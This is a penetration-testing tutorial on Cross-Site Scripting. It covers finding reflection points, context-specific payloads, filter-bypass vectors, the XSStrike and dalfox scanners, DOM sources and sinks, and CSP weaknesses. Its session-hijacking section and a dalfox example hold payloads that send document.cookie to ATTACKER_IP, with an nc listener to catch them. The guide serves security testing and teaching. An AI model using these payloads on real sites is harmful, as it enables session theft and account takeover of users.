Cross-Site Scripting (XSS)
WSTG-INPVAL-01, WSTG-INPVAL-02
Understanding XSSβ
XSS occurs when an application includes untrusted data in a web page without proper output encoding, allowing an attacker to inject scripts that execute in the victim's browser. Unlike server-side injection attacks, XSS executes client-side - the payload runs in the browser of whoever views the affected page.
Why it matters: XSS allows session hijacking (steal document.cookie), credential harvesting (inject fake login forms), keylogging, account takeover, and pivoting to internal network resources via the victim's browser.
XSS Typesβ
| Type | Where the Payload Lives | Who Gets Affected |
|---|---|---|
| Reflected | In the URL/request, reflected back in the immediate response | Victim must click a crafted link |
| Stored | Persisted in the database/server | Every user who views the affected page |
| DOM-based | Client-side JavaScript reads attacker data and writes it to the DOM | Victim must click a crafted link; no server involvement |
Stored XSS is higher severity - it affects every user and doesn't require them to click a link. Look for it in any input that gets displayed to other users (comments, profile names, messages, posts, product descriptions).
Manual Testing Approachβ
Step 1: Identify reflection/storage pointsβ
First, identify every place where user input appears in the application output.
# Inject a unique string - find where it appears in the response
curl -si "http://target.com/search?q=XSSTEST1234" | grep "XSSTEST1234"
# POST form
curl -si -X POST http://target.com/comment \
-d "comment=XSSTEST1234" | grep "XSSTEST1234"
If your string appears in the response, you have a reflection point. Now determine the context.
Step 2: Understand the contextβ
The context in which your input is reflected determines what payload to use. View the source:
<!-- Context 1: Inside a tag attribute -->
<input value="YOUR_INPUT">
<!-- Escape with: "><script>alert(1)</script> -->
<!-- Context 2: Inside a script block -->
<script>var name = "YOUR_INPUT";</script>
<!-- Escape with: ";alert(1)// -->
<!-- Context 3: Inside an href -->
<a href="YOUR_INPUT">click</a>
<!-- Use: javascript:alert(1) -->
<!-- Context 4: Between HTML tags (standard body) -->
<p>Hello YOUR_INPUT</p>
<!-- Use: <script>alert(1)</script> -->
Step 3: Probe for filteringβ
# Basic tag test
curl -si "http://target.com/search?q=<script>alert(1)</script>" | grep -i "script"
# If script tags are filtered, try event handlers
curl -si "http://target.com/search?q=<img src=x onerror=alert(1)>" | grep -i "onerror"
# Check for HTML encoding in response
# If your < becomes < the output is HTML-encoded and likely safe
Step 4: Bypass common filtersβ
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# No closing tag
<script>alert(1)
# Alternative event handlers (when onerror is filtered)
<img src=x onload=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
# No quotes
<img src=x onerror=alert(1)>
# Encoded characters
<img src=x onerror=alert(1)>
# Double-encode if input is URL-decoded once
%253Cscript%253Ealert(1)%253C/script%253E
# HTML5 vectors
<svg><script>alert(1)</script></svg>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
# Backtick in attributes (IE-specific, but worth trying)
<img src=`x` onerror=alert(1)>
Session Hijacking via XSSβ
When stored or reflected XSS is confirmed, the primary exploitation goal is stealing the session cookie.
# Set up a listener on Kali to capture the cookie
nc -lvnp 8080
# XSS payload that exfiltrates document.cookie to attacker
<script>new Image().src="http://ATTACKER_IP:8080/?c="+document.cookie</script>
# Alternative using fetch (bypasses some Content-Security-Policy restrictions)
<script>fetch("http://ATTACKER_IP:8080/?c="+document.cookie)</script>
# Base64-encode the cookie to avoid special character issues
<script>fetch("http://ATTACKER_IP:8080/?c="+btoa(document.cookie))</script>
HttpOnly cookie flag prevents JavaScript from reading the cookie via document.cookie. If the session cookie has HttpOnly, XSS cannot directly steal it - but it can still be used for other attacks: form hijacking, keylogging, CSRF via script, webcam/mic access, or redirecting the user to a phishing page.
XSStrike - XSS Fuzzing and Exploitationβ
XSStrike performs intelligent XSS payload generation, context analysis, and WAF bypass - more effective than a simple payload list.
# Install if not available
pip3 install xsstrike
# Basic reflected XSS test
python3 xsstrike.py -u "http://target.com/search?q=test"
# POST form
python3 xsstrike.py -u "http://target.com/comment" \
--data "comment=test&submit=Submit"
# Crawl the site and find XSS across all pages
python3 xsstrike.py -u "http://target.com" --crawl
# Skip DOM XSS analysis (faster)
python3 xsstrike.py -u "http://target.com/search?q=test" --skip
# Encode payloads for WAF bypass
python3 xsstrike.py -u "http://target.com/search?q=test" --encode
# With cookies (authenticated)
python3 xsstrike.py -u "http://target.com/search?q=test" \
--headers "Cookie: session=abc123"
dalfox - High-Speed XSS Scannerβ
dalfox is fast, accurate, and well-suited for scanning many parameters efficiently.
# Single URL
dalfox url "http://target.com/search?q=test"
# With cookie
dalfox url "http://target.com/search?q=test" --cookie "session=abc123"
# Pipe mode - take URLs from stdin
echo "http://target.com/search?q=test" | dalfox pipe
# Scan multiple parameters
dalfox url "http://target.com/page?name=test&id=1&search=foo"
# Custom payload for exfiltration (replace with your listener URL)
dalfox url "http://target.com/search?q=test" \
--custom-payload '<script>fetch("http://ATTACKER_IP/?c="+document.cookie)</script>'
# Deep DOM analysis
dalfox url "http://target.com/search?q=test" --deep-domxss
DOM-Based XSSβ
DOM XSS is harder to find because the payload never reaches the server - everything happens in the browser's JavaScript engine. The server's response is clean, but the page's JavaScript reads attacker data from the URL fragment or other sources and writes it unsafely to the DOM.
Sources (where attacker data enters):
document.URLlocation.hashlocation.searchdocument.referrerpostMessagedata
Sinks (where it gets dangerously written):
innerHTMLdocument.write()eval()setTimeout("user_input", 100)location.href = user_input
# Manual DOM XSS test - payload in URL fragment (never sent to server)
# Browse to: http://target.com/page#<img src=x onerror=alert(1)>
# Test with hash parameter
# http://target.com/page?returnUrl=javascript:alert(1)
# Grep JavaScript files for dangerous sinks
curl -s http://target.com/static/app.js | \
grep -iE "(innerHTML|document\.write|eval\(|setTimeout\(|location\.href)"
Content Security Policy (CSP) Analysisβ
A well-configured CSP prevents XSS payloads from executing even when injection is possible. Analyze CSP headers before spending time on payloads.
# Check for CSP header
curl -sI http://target.com | grep -i "content-security-policy"
CSP weaknesses to look for:
| Weakness | Implication |
|---|---|
script-src * or script-src 'unsafe-inline' | Any script can execute - CSP provides no protection |
script-src 'unsafe-eval' | eval() allowed - SSTI-to-XSS chains possible |
script-src cdn.example.com | If you can influence content on cdn.example.com, CSP bypassed |
| No CSP header at all | No protection |
default-src 'none' with narrow allowlist | Strong CSP - payloads likely blocked |
If unsafe-inline is present in script-src, the CSP doesn't block inline scripts - your <script> tags will run. If only external scripts from specific domains are allowed, you need to find an allowed domain that hosts your payload (JSONP endpoints, CDN files you can influence).